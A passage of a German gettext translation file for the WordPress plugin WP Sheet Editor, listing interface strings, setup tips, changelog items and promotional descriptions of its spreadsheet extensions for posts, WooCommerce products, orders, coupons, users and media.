"Willkommen bei WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:125 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Bitte führe eine Suche durch, um die Zeilen zu laden und mit der Bearbeitung " "zu beginnen (benutze die Option \"Suche\" in der oberen Werkzeugleiste)." #: wp-sheet-editor/dev/views/editor-page.php:127 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Du musst die Zeilen manuell laden, da du das automatische Laden von Zeilen " "deaktiviert hast. Einstellungen ändern" #: wp-sheet-editor/dev/views/editor-page.php:144 msgid "Go to page" msgstr "Zur Seite" #: wp-sheet-editor/dev/views/editor-page.php:146 msgid "Use an infinite list instead of pagination" msgstr "Verwende eine unbegrenzte Liste anstelle der Seitennummerierung" #: wp-sheet-editor/dev/views/editor-page.php:146 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Aktiviere diese Option, um die Schaltflächen für die Seitennummerierung zu " "entfernen und Zeilen automatisch zu laden, wenn du nach unten scrollst. Du " "siehst dann alle Zeilen gleichzeitig, Du kannst problemlos Tausende von " "Zeilen laden." #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Load More Rows" msgstr "Weitere Zeilen laden" #: wp-sheet-editor/dev/views/editor-page.php:150 msgid "Go to the top" msgstr "Nach oben" #: wp-sheet-editor/dev/views/editor-page.php:152 msgid "Enable pagination" msgstr "Seitennummerierung aktivieren" #: wp-sheet-editor/dev/views/editor-page.php:152 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Standardmäßig verwenden wir eine unendliche Liste von Zeilen, und wir laden " "jedes Mal mehr Zeilen, wenn du nach unten scrollst. Du kannst diese Option " "aktivieren, um Links zur Seitennummerierung anzuzeigen und die unbegrenzte " "Liste zu deaktivieren" #: wp-sheet-editor/dev/views/editor-page.php:156 msgid "Increase rows per page" msgstr "Zeilen je Seite erhöhen" #: wp-sheet-editor/dev/views/editor-page.php:156 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Wir verwenden die Seitennummerierung. Standardmäßig laden wir 20 Zeilen je " "Seite (jedes Mal, wenn du nach unten scrollst). Du kannst die Anzahl " "erhöhen, um bei jedem Herunterscrollen mehr Zeilen zu laden." #: wp-sheet-editor/dev/views/editor-page.php:173 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "Editing:" msgstr "Beim Bearbeiten:" #: wp-sheet-editor/dev/views/editor-page.php:205 msgid "You can resize the editor" msgstr "Du kannst die Größe des Editors ändern" #: wp-sheet-editor/dev/views/editor-page.php:209 msgid "Save changes and go to the previous post editor" msgstr "Änderungen speichern und zum vorherigen Beitrags-Editor gehen" #: wp-sheet-editor/dev/views/editor-page.php:210 msgid "Just save changes" msgstr "Einfach Änderungen speichern" #: wp-sheet-editor/dev/views/editor-page.php:212 msgid "Cancel the changes and close popup" msgstr "Änderungen abbrechen und Popup schließen" #: wp-sheet-editor/dev/views/editor-page.php:213 msgid "Save changes and go to the next post editor" msgstr "Änderungen speichern und zum nächsten Beitrags-Editor gehen" #: wp-sheet-editor/dev/views/editor-page.php:226 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Die bevorstehenden Änderungen sind nicht umkehrbar. Du solltest deine " "Datenbank sichern, bevor du fortfährst." #: wp-sheet-editor/dev/views/editor-page.php:228 msgid "The changes about to be made are not reversible" msgstr "Die bevorstehenden Änderungen sind nicht umkehrbar" #: wp-sheet-editor/dev/views/editor-page.php:230 msgid "I understand, continue" msgstr "Ich weiß, bitte fortfahren" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Wir speichern jetzt. Schließ dieses Fenster nicht, bevor der Vorgang " "abgeschlossen ist." #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Tipp: Das Speichern ist zu langsam? Speichere mehr Positionenje Verarbeitungszyklus
                  Du " "erhältst Fehler beim Speichern? Speichere " "weniger Positionenje Verarbeitungszyklus" #: wp-sheet-editor/dev/views/editor-page.php:264 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "Dauert das Laden zu lange?
                  1. Du kannst warten, bis der Prozess " "abgeschlossen ist.
                  2. Du kannst " #: wp-sheet-editor/dev/views/extensions-modal.php:4 #: wp-sheet-editor/dev/views/usage-stats-widget.php:95 msgid "Extend the spreadsheet" msgstr "Arbeitsblatt erweitern" #: wp-sheet-editor/dev/views/extensions-page.php:18 msgid "What component do you need?" msgstr "Welche Komponente benötigst du?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Werbung: %d%% RABATT nur heute. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Erhalte die untenstehenden %d Erweiterungen für nur $ %s " "$ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Verwende den Gutschein: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Geld-zurück-Garantie. Kauf das Plugin bedenkenlos. Wir geben dir eine " "Rückerstattung, wenn das Plugin nicht funktioniert." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Andere Erweiterungen" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Arbeitsblatt für %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Kostenlose Erweiterungen

                  " #: wp-sheet-editor/dev/views/post-types-form.php:15 msgid "Available spreadsheets" msgstr "Verfügbare Arbeitsblätter" #: wp-sheet-editor/dev/views/quick-setup.php:62 msgid "Save and continue" msgstr "Speichern und fortsetzen" #: wp-sheet-editor/dev/views/quick-setup.php:68 msgid "Available components" msgstr "Verfügbare Komponenten" #: wp-sheet-editor/dev/views/quick-setup.php:69 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "Der Tabelleneditor ist sehr leistungsfähig und hat viele Funktionen. In " "diesem Schritt kannst du die Funktionen aktivieren, die du benötigst." #: wp-sheet-editor/dev/views/quick-setup.php:75 msgid "Continue" msgstr "Weiter" #: wp-sheet-editor/dev/views/quick-setup.php:79 msgid "The Spreadsheet is ready." msgstr "Das Arbeitsblatt ist fertig." #: wp-sheet-editor/dev/views/quick-setup.php:92 #: wp-sheet-editor/dev/views/usage-stats-widget.php:114 msgid "Edit " msgstr "Bearbeiten " #: wp-sheet-editor/dev/views/quick-setup.php:108 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Tipp: Wir können dir bei der Einrichtung des Arbeitsblatts helfen. Erhalte " "sofortige Hilfe im Live-Chat während der Geschäftszeiten" #: wp-sheet-editor/dev/views/settings-form.php:1 msgid "Advanced Settings" msgstr "Erweiterte Einstellungen" #: wp-sheet-editor/dev/views/settings-form.php:12 #: wp-sheet-editor/dev/views/settings-form.php:56 msgid "Reset settings" msgstr "Einstellungen zurücksetzen" #: wp-sheet-editor/dev/views/settings-form.php:55 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Wir zeigen alle Spalten an, die gelöscht oder deaktiviert wurden, umbenannte " "Spalten zeigen die Originaltitel an, wir scannen die Datenbank erneut durch, " "um Spalten wiederzufinden, und die Geschwindigkeits-/fortgeschrittenen " "Einstellungen werden auf die Standardwerte zurückgesetzt. Dies betrifft nur " "die Einstellungen unseres Plugins und hat keinen Einfluss auf die mit dem " "Blatt bearbeiteten Daten." #: wp-sheet-editor/dev/views/single-extension.php:15 msgid "Active." msgstr "Aktiv." #: wp-sheet-editor/dev/views/usage-stats-widget.php:53 msgid "Thank you for using our spreadsheet editor" msgstr "Vielen Dank, dass du unseren Tabelleneditor verwendest" #: wp-sheet-editor/dev/views/usage-stats-widget.php:61 msgid "Usage stats" msgstr "Nutzungsstatistiken" #: wp-sheet-editor/dev/views/usage-stats-widget.php:67 msgid "Modified posts" msgstr "Beiträge geändert" #: wp-sheet-editor/dev/views/usage-stats-widget.php:71 msgid "Time saved
                  (estimated)" msgstr "Zeitersparnis
                  (geschätzt)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:75 msgid "Clicks avoided
                  (estimated)" msgstr "Vermiedene Klicks
                  (geschätzt)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "WooCommerce-Produkte, WooCommerce-Varianten und Attribute bearbeiten.
                  Hunderte von Beiträgen auf einmal mit Formeln bearbeiten, Informationen " "zwischen Beiträgen kopieren,
                  Benutzerdefinierte Beitragstypen und " "benutzerdefinierte Felder bearbeiten, Benutzerprofile bearbeiten und mehr" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "View extensions" msgstr "Erweiterungen anzeigen" #: wp-sheet-editor/dev/views/usage-stats-widget.php:102 msgid "Open the Spreadsheet Editor" msgstr "Den Tabelleneditor öffnen" #: wp-sheet-editor/dev/views/whats-new.php:13 msgid "What's new on WP Sheet Editor" msgstr "Was ist neu am WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "Thank you for updating to the new version of the plugin." msgstr "Vielen Dank für die Aktualisierung auf die neue Version des Plugins." #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:5 msgid "" "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " "christmas season. View Extension)" msgstr "" "Neue Erweiterung - WooCommerce Gutscheine - Gutscheine in einem Arbeitsblatt " "anzeigen/bearbeiten. Erweiterte Suche, Massenbearbeitung von Hunderten von " "Gutscheinen usw. Perfekt für die Weihnachtszeit. Erweiterung anzeigen)" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:6 msgid "" "New extension - EVENTS - View/edit events, venues, and organizers in a " "spreadsheet. Advanced search, etc. View " "Extension)" msgstr "" "Neue Erweiterung - EVENTS - Anzeigen/Bearbeiten von Ereignissen, " "Veranstaltungen und Organisatoren in einem Arbeitsblatt. Erweiterte Suche, " "usw. Erweiterung anzeigen)" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:7 msgid "" "New feature - Added support for Advanced Custom Fields > relationship " "fields. Paid users only. Upgrade)" msgstr "" "Neue Funktion - Unterstützung für Advanced Custom Fields > Beziehungsfelder " "hinzugefügt. Nur zahlende Benutzer. Upgrade)" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:8 msgid "" "Improved tools: formulas engine. Now you can make advanced searches and " "apply formulas to the search results. Paid users only. Upgrade)" msgstr "" "Verbesserte Werkzeuge: Formel-Engine. Jetzt kannst du erweiterte Suchen " "durchführen und Formeln auf die Suchergebnisse anwenden. Nur zahlende " "Benutzer. Upgrade)" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:9 msgid "" "Improved sheet: Moved settings to a dropdown to simplify the UI and added " "new context menu options" msgstr "" "Verbessertes Arbeitsblatt: Einstellungen wurden in eine Dropdown-Liste " "verschoben, um die Benutzeroberfläche zu vereinfachen, und neue Kontextmenü-" "Optionen wurden hinzugefügt" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:10 msgid "" "Improved tools: columns visibility. Now you can delete unnecessary columns " "and improved sorting and disable logic" msgstr "" "Verbesserte Werkzeuge: Sichtbarkeit der Spalten. Jetzt kannst du " "überflüssige Spalten löschen, und die Sortier- und Deaktivierungslogik wurde " "verbessert" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:11 msgid "Fixed more than 13 bugs" msgstr "Mehr als 13 Fehler behoben" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:12 msgid "Improved 7 features" msgstr "7 Funktionen wurden verbessert" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:13 msgid "Updated 6 extensions." msgstr "6 Erweiterungen aktualisiert." #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:14 msgid "View the entire changelog" msgstr "" "Das gesamte Änderungsprotokoll anzeigen" #: wp-sheet-editor/dev/wp-sheet-editor.php:157 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Benutzerprofile im Arbeitsblatt bearbeiten - Basis" #: wp-sheet-editor/dev/wp-sheet-editor.php:160 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Bearbeite WordPress-Benutzer im Arbeitsblatt, bearbeite nur grundlegende " "Profile und führe einfache Suchvorgänge durch.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:168 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Benutzerprofile im Arbeitsblatt bearbeiten - FULL" #: wp-sheet-editor/dev/wp-sheet-editor.php:171 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Bearbeite WordPress-Benutzer im Arbeitsblatt. Bearbeiten der GESAMTEN " "Benutzerprofile, einschließlich benutzerdefinierter Felder. Füge neue " "Spalten zum Arbeitsblatt hinzu, gut für E-Commerce-Läden, Mitglieds-" "Websites, Veranstaltungsverzeichnisse, Unternehmensverzeichnisse, " "Benutzerverzeichnisse

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:178 msgid "WooCommerce Customers Spreadsheet" msgstr "Arbeitsblatt für WooCommerce-Kunden" #: wp-sheet-editor/dev/wp-sheet-editor.php:181 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Zeige alle deine Kunden in einem Arbeitsblatt an. Vollständiges Profil " "anzeigen, Profile schnell bearbeiten, Rechnungs- und Versandinformationen " "anzeigen, erweiterte Kundensuche durchführen, Kunden nach Excel oder Google " "Sheets exportieren, Kunden aus externen Anwendungen importieren

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "Media Library Spreadsheet" msgstr "Arbeitsblatt für die Medienbibliothek" #: wp-sheet-editor/dev/wp-sheet-editor.php:191 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Zeige das Bild, Videos und alle Dateien aus der WP-Medienbibliothek in " "einem Arbeitsblatt an. Bearbeite alle Dateifelder, einschließlich Alt-Text, " "Bildunterschriften, Dateibeschreibungen; erweiterte Suche nach beliebigen " "Feldern, automatische Generierung von Alt-Text, Untertiteln usw. unter " "Verwendung von übergeordnetem Beitragstitel oder Beitragskategorie; " "aktualisieren von Tausenden von Dateien auf einmal und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:193 #: wp-sheet-editor/dev/wp-sheet-editor.php:207 #: wp-sheet-editor/dev/wp-sheet-editor.php:228 #: wp-sheet-editor/dev/wp-sheet-editor.php:242 #: wp-sheet-editor/dev/wp-sheet-editor.php:256 #: wp-sheet-editor/dev/wp-sheet-editor.php:270 #: wp-sheet-editor/dev/wp-sheet-editor.php:285 #: wp-sheet-editor/dev/wp-sheet-editor.php:299 #: wp-sheet-editor/dev/wp-sheet-editor.php:313 msgid "Buy" msgstr "Kaufen" #: wp-sheet-editor/dev/wp-sheet-editor.php:202 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Kategorien, Tags, Attribute in einem Arbeitsblatt bearbeiten" #: wp-sheet-editor/dev/wp-sheet-editor.php:205 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Ein Arbeitsblatt für Kategorien, Tags, Produktattribute, " "Ereigniskategorien, Portfoliokategorien, Realstate-Tags usw. Zeigen und " "bearbeiten aller Elemente an einem Ort, Copy/Paste, schnelles Hochladen von " "Kategoriebildern, Hinzufügen von Beschreibungen, Bearbeiten von SEO usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:223 msgid "WooCommerce Coupons Spreadsheet" msgstr "Arbeitsblatt für WooCommerce-Gutscheinen" #: wp-sheet-editor/dev/wp-sheet-editor.php:226 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Zeige WooCommerce-Gutscheine in einem Arbeitsblatt an. Bearbeite alle " "Gutscheinfelder; erweiterte Suche nach einem beliebigen Feld, automatische " "Generierung von Hunderten von Gutscheinen, Aktualisierung von Hunderten von " "Gutscheinen auf einmal und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:237 msgid "WooCommerce Orders Spreadsheet" msgstr "Arbeitsblatt für WooCommerce-Bestellungen" #: wp-sheet-editor/dev/wp-sheet-editor.php:240 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Alle Bestellungen schnell einsehen und versenden. Erweiterte Suche nach " "beliebigen Feldern (Versandart, Steuern, MwSt., Zahlungsmethoden, Kunden, " "Produkte usw.), Exportieren von Bestellungen und Kundeninformationen " "einschließlich Gastkunden; schnelles Bearbeiten von Tausenden von " "Bestellungen und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:251 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Arbeitsblatt für Kommentare, Bewertungen und Bestellhinweise" #: wp-sheet-editor/dev/wp-sheet-editor.php:254 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es ist die beste Möglichkeit, deine Kommentare, WooCommerce-" "Kundenbewertungen, Veranstaltungsbesprechungen, Erfahrungsberichte und " "Bestellnotizen in einem Arbeitsblatt zu verwalten. Du kannst eine erweiterte " "Suche nach jedem Feld durchführen (Stichwort, Bestellhinweis, Status, " "Kommentare nach Beitragsart und alle Felder). Du kannst sie massenweise " "bearbeiten, alles auf einmal löschen, nach Excel oder in externe Systeme " "exportieren, Kommentare und Bewertungen aus anderen Systemen importieren und " "mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "Custom Database Tables Spreadsheet" msgstr "Benutzerdefiniertes Arbeitsblatt für Datenbanktabellen" #: wp-sheet-editor/dev/wp-sheet-editor.php:268 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Ein Arbeitsblatt für jede benutzerdefinierte Datenbanktabelle, die von " "anderen Plugins hinzugefügt wurde. Live-Bearbeitung in den Zellen, " "Massenbearbeitung, erweiterte Suche nach beliebigen Feldern, Export und " "Import, Massenlöschung, Verschieben von Informationen zwischen Websites, " "Bearbeiten von Tausenden von Elementen und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:280 msgid "Easy Digital Downloads Spreadsheet" msgstr "Einfaches Arbeitsblatt für digitale Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:283 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Zeige alle EDD-Produkte in einem Arbeitsblatt an, erstelle Downloads und " "Dateien in großen Mengen, bearbeite Hunderte von Produkten auf einmal mit " "Hilfe von Formeln, erweiterte Suche mit mehreren Feldern usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:294 msgid "Events Spreadsheet" msgstr "Arbeitsblatt für Ereignisse" #: wp-sheet-editor/dev/wp-sheet-editor.php:297 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Zeige alle Ereignisse in einem Arbeitsblatt an, erstelle Ereignisse in " "großen Mengen, bearbeite Hunderte von Ereignissen gleichzeitig mit Hilfe von " "Formeln, führe erweiterte Suchvorgänge über mehrere Ereignisfelder durch usw." "

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:308 msgid "Display the spreadsheet editor in the frontend" msgstr "Den Tabelleneditor im Frontend anzeigen" #: wp-sheet-editor/dev/wp-sheet-editor.php:311 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Erstelle neue Arbeitsblätter mit benutzerdefinierten Spalten und teile " "die Arbeitsblätter im Frontend mit deinen Benutzern oder Mitarbeitern. " "Nützlich für Marktplätze, auf denen Anbieter Produkte im Arbeitsblatt " "bearbeiten, Nachrichten oder Veranstaltungseinträge im Frontend zulassen, " "Veranstaltungsverzeichnisse, Webanwendungen, benutzerdefinierte Dashboards " "usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:321 msgid "WooCommerce - Products Integration" msgstr "WooCommerce - Produkt-Integration" #: wp-sheet-editor/dev/wp-sheet-editor.php:324 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Bearbeite WooCommerce-Produkte im Arbeitsblatt. Alle Arten von " "Produkten, einschließlich variabler Produkte, herunterladbarer Produkte, " "externer Produkte und einfacher Produkte werden unterstützt. Du kannst alle " "Produktfelder im Arbeitsblatt bearbeiten, einschließlich Attribute, Bilder " "usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Custom post types" msgstr "Benutzerdefinierte Beitragstypen" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Bearbeite Speisekarten, Kurse, Projekte, Portfolios und alle " "benutzerdefinierten Beitragsarten.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:343 msgid "Columns renaming" msgstr "Umbenennung von Spalten" #: wp-sheet-editor/dev/wp-sheet-editor.php:346 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Du kanst die Spalten des Arbeitsblatts umbenennen.
                  Beispiel. Anstatt " "\"Verfasser des Beitrags\" im Arbeitsblatt anzuzeigen, kannst du es zu " "\"Hochgeladen von\" ändern.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 #: wp-sheet-editor/dev/wp-sheet-editor.php:359 #: wp-sheet-editor/dev/wp-sheet-editor.php:452 #: wp-sheet-editor/dev/wp-sheet-editor.php:480 msgid "Install for Free" msgstr "Kostenlos installieren" # php source does not exist #: wp-sheet-editor/dev/wp-sheet-editor.php:355 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:358 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Bearbeite SEO-Titel, Beschreibung, Schlüsselwort und SEO-Punktzahl im " "Arbeitsblatt

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:367 msgid "Advanced Search" msgstr "Erweiterte Suche" #: wp-sheet-editor/dev/wp-sheet-editor.php:370 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Suche Beiträge nach Stichwort, Taxonomien, Autor, Datum, Status oder " "benutzerdefinierten Feldern.

                  Suche in mehreren Feldern mit erweiterten " "Operatoren: =, !=, <, >, LIKE, NOT LIKE

                  Beispiele: Finde " "Produkte aus der Kategorie Audio mit Lagerbestand < 20, oder Produkte aus " "der Kategorie Apple ohne Beitragsbild, oder Produkte ohne Bildergalerie, die " "das Schlüsselwort \"Google\" enthalten.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "Formulas" msgstr "Formeln" #: wp-sheet-editor/dev/wp-sheet-editor.php:380 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Bearbeite Hunderte von Beiträgen mit nur wenigen Klicks auf einmal. " "Suchen und ersetzen, Ersetzen von URLs und Ausdrücken, Massenspeicherung von " "Werten in Felder, Kopieren von Werten zwischen Feldern, Zusammenführen von " "Feldern usw.

                  Beispiele: Normalen Preis in Sonderpreis kopieren, " "Produktattributnamen aktualisieren usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:387 msgid "Math Formulas" msgstr "Mathematische Formeln" #: wp-sheet-editor/dev/wp-sheet-editor.php:390 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Bearbeite Hunderte von Beiträgen auf einmal. Aktualisiere numerische " "Felder mit erweiterten mathematischen Formeln. Beispiel: Preise um 10% " "erhöhen, Inventar verwalten usw. Führe beliebige mathematische Formeln aus.

                  Du kannst mehrere Felder in der Formel verwenden, z.B. \"Normalpreis x " "Bestand / Sonderpreis\"

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:397 msgid "Advanced Custom Fields" msgstr "Erweiterte benutzerdefinierte Felder" #: wp-sheet-editor/dev/wp-sheet-editor.php:400 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Advanced Custom Fields-Metaboxen werden automatisch im Arbeitsblatt " "angezeigt. So kannst du benutzerdefinierte Felder einfach bearbeiten.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:407 msgid "Edit Custom Fields in Spreadsheet" msgstr "Benutzerdefinierte Felder im Arbeitsblatt bearbeiten" #: wp-sheet-editor/dev/wp-sheet-editor.php:410 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Du kannst Spalten für benutzerdefinierte Felder erstellen.
                  Bearbeite " "Seiteneinstellungen, die durch dein Thema hinzugefügt wurden, " "Veranstaltungsdetails, Produktinformationen usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:417 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Beiträge und Seiten in einem Arbeitsblatt bearbeiten" #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Bearbeite Standard-Beitragsfelder im Arbeitsblatt.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:428 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - BASIS-Integration" #: wp-sheet-editor/dev/wp-sheet-editor.php:431 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Du kannst nur einfache Produkte bearbeiten. Verfügbare Spalten: Titel, " "URL, Beschreibung, Datum, SKU, regulärer Preis, Sonderpreis, Lagerstatus, " "Lagerbestand verwalten, Lagermenge.

                  Weitere Spalten und Produkttypen " "als Premium-Erweiterung verfügbar.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:439 msgid "Columns visibility" msgstr "Sichtbarkeit der Spalten" #: wp-sheet-editor/dev/wp-sheet-editor.php:442 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Du kannst Spalten im Arbeitsblatt ein- und ausblenden und sortieren.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:448 msgid "Autofill cells" msgstr "Zellen automatisch füllen" #: wp-sheet-editor/dev/wp-sheet-editor.php:451 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Du kannst Zellen automatisch ausfüllen (kopieren), indem du die " "Zellenecke in andere Zellen ziehst, wie du es in Excel tun kannst.

